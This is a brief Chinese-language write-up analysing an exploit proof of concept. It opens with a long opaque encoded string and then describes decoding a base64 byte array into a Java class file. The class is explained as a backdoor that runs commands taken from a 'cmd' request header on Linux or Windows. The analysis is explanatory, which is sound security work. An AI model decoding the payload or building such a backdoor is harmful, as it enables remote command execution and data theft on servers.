HGINFFOLLALGGAADPGMNJDMNOLKINDIKKIHJKDEKFAJDHPHNGAIBGNAODMICFEFCCHDPGMLJOGIJCIOOMMGEKPILGPFJOCMKILLFGPEAIBIDBGNPPDHLLAHMKLEJBJFBFPFBDNEJCNPK

poc的分析

相信大家在这里或多或少对这个poc不大理解，我们对该poc分析一下

我们使用工具对该poc进行解码操作，得到如下内容

在<byte-array>发现了类似于base64编码的内容，我们对其进行解码操作，发现解码之后是一个.class文件

接着我们利用反编译工具对该.class文件进行反编译操作，得到如下内容

分析：该段代码它包含了一个后门，允许攻击者在请求头中发送一个cmd的参数，代码获取名为cmd的请求头的值，之后根据操作系统类型（Linux或Windows），exec()方法构造不同的命令执行格式。攻击者可以输入一些危险的指令进而获取到对方的一些敏感信息